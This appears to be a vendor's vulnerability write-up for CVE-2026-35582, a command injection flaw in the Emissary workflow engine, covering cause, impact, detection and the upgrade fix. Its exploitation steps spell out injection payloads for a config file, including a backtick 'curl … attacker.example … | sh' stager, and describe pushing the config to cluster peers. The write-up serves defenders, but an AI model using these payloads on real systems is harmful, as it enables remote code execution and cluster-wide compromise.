CVE-2026-35582
Java vulnerability analysis and mitigation

Overview

CVE-2026-35582 is an OS command injection vulnerability in Emissary, a P2P data-driven workflow engine developed by the National Security Agency (NSA). The flaw exists in Executrix.getCommand(), which interpolates the IN_FILE_ENDING and OUT_FILE_ENDING configuration keys directly into a /bin/sh -c shell command string without escaping or input validation, allowing arbitrary OS command execution. All versions up to and including 8.42.0 are affected; the issue is fixed in version 8.43.0. It carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, Red Hat CVE).

Technical details

The root cause is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command) and CWE-116 (Improper Encoding or Escaping of Output). In TempFileNames.java, the inFileEnding and outFileEnding values are concatenated directly onto a numeric base to produce temporary file paths with no character validation. These paths are then substituted verbatim into a shell string constructed in Executrix.getCommand() and passed to /bin/sh -c, meaning any shell metacharacters (e.g., backticks, $(), ;, |) in the configuration values are interpreted by the shell. Notably, the framework already sanitizes placeName using an allowlist regex ([^a-zA-Z0-9_-]) before embedding it in the same shell string, demonstrating awareness of the risk — but no equivalent sanitization was applied to file ending values. Exploitation requires only the ability to write or modify a .cfg configuration file; no network access or elevated runtime privileges are needed (GitHub Advisory, Patch Commit).

Impact

Successful exploitation grants an attacker arbitrary OS command execution in the security context of the JVM process running Emissary, resulting in critical confidentiality, integrity, and availability impacts. An attacker can read any file accessible to the Emissary process, write arbitrary files, establish persistence, or terminate the process entirely. The blast radius extends to all places that use Executrix and call getCommand(), including all subclasses of ExecPlace and any custom place following the documented pattern. In cluster deployments, an attacker who achieves initial code execution on one node can propagate the malicious configuration to all peer nodes via Emissary's own cluster replication APIs, enabling full cluster compromise (GitHub Advisory).

Exploitation steps

  1. Identify target: Locate an Emissary deployment running version 8.42.0 or earlier where the attacker has write access to .cfg configuration files (e.g., via developer access, config repository commit rights, or a CI/CD pipeline).
  2. Craft malicious config: Create or modify emissary.place.UnixCommandPlace.cfg to include a shell injection payload in the IN_FILE_ENDING field using backtick command substitution (backticks avoid Java String.replaceAll() regex group issues with $):
EXEC_COMMAND = "cat "
OUTPUT_TYPE = "STD"
IN_FILE_ENDING = "`id > /tmp/pwned.txt`"
OUT_FILE_ENDING = ".out"
  1. Register the place: Append the place URL to places.cfg so Emissary loads it on startup:
PLACE = "@{URL}/UnixCommandPlace"
  1. Trigger config load: Restart the Emissary server (or wait for the next scheduled restart/deploy) so the malicious .cfg file is loaded.
  2. Trigger payload execution: Drop any file into the Emissary pickup directory (e.g., /opt/emissary/target/data/InputData/victim.txt). The pipeline routes the file through the configured place, and getCommand() constructs the shell string with the injected backtick expression, which executes before cat is even called.
  3. Verify execution: Confirm the injected command ran (e.g., cat /tmp/pwned.txt shows uid=1000(emissary) gid=1000(emissary)).
  4. Escalate (optional): Replace the payload with a reverse shell or curl-based stager for persistent access:
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"
  1. Lateral movement: From the compromised node, enumerate cluster peers via /api/cluster/peers and push the malicious config to each peer node, then trigger restarts to achieve cluster-wide code execution (GitHub Advisory).

Indicators of compromise

  • File System: Unexpected files in /tmp/ (e.g., pwned.txt, named pipes like /tmp/f) created by the Emissary process; new or modified .cfg files in the Emissary config directory (e.g., emissary.place.UnixCommandPlace.cfg) containing backtick expressions or shell metacharacters in IN_FILE_ENDING or OUT_FILE_ENDING values.
  • Logs: Emissary DEBUG-level logs showing assembled shell strings containing backtick expressions or other metacharacters (e.g., /bin/sh -c ulimit -c 0; ... cat /tmp/UnixCommandPlace.../1234567890\id > /tmp/pwned.txt`); WARN-level log entries for Bad execution of commandsfollowing injection attempts; transform history logs showingUnixCommandPlace` processing payloads unexpectedly.
  • Process: Unusual child processes spawned by the Emissary JVM process (e.g., sh, curl, wget, mkfifo, nc) visible via ps or process monitoring tools; outbound network connections from the Emissary host to unexpected external IPs (indicative of reverse shell or stager download).
  • Network: Outbound HTTP/HTTPS requests from the Emissary server to attacker-controlled infrastructure (e.g., curl to external hosts); unexpected calls to /api/cluster/peers, /api/config/, or /api/shutdown endpoints across cluster nodes from a single compromised peer (GitHub Advisory).

Mitigation and workarounds

Upgrade to Emissary version 8.43.0, which introduces INVALID_FILE_ENDING_CHARS pattern validation and a cleanFileEnding() method that replaces shell-unsafe characters with underscores, applied in both setInFileEnding()/setOutFileEnding() setters and during configure() when reading from the Configurator (Patch Commit). As there is no safe workaround available to downstream implementors in vulnerable versions (the framework provides no escaping mechanism), upgrading is the only reliable remediation. As interim measures, restrict write access to .cfg configuration files to only trusted administrators, implement file integrity monitoring on the config directory to detect unauthorized modifications, and audit existing config files for shell metacharacters in IN_FILE_ENDING and OUT_FILE_ENDING values (GitHub Advisory).

Community reactions

The vulnerability was published by cfkoehler via the GitHub Security Advisory program on April 10, 2026, and received coverage from The Hacker Wire and security aggregators including VulDB and CVEFeed. The advisory itself includes an unusually detailed argument against the "implementor-responsibility" defense, citing NIST SP 800-53, NIST SP 800-218 (SSDF), OWASP, SEI CERT, and NSA/CISA Advisory AA23-278A — noting the irony that Emissary is an NSA-originated project and the NSA's own published guidance classifies OS command injection as a developer responsibility. Social media mentions were observed on Bluesky and Mastodon (The Hacker Wire, GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related Java vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-54609HIGH8.6
  • JavaScript logoJavaScript
  • qti-neon
NoNoJul 28, 2026
CVE-2026-43910HIGH8.2
  • Java logoJava
  • io.appium:java-client
NoYesJul 28, 2026
CVE-2026-56822HIGH7.4
  • Java logoJava
  • cassandra-5.0
NoYesJul 29, 2026
CVE-2026-56821HIGH7.4
  • Java logoJava
  • apache-hop
NoYesJul 29, 2026
CVE-2026-59921MEDIUM5.7
  • Java logoJava
  • strimzi-kafka-operator-fips
NoYesJul 28, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management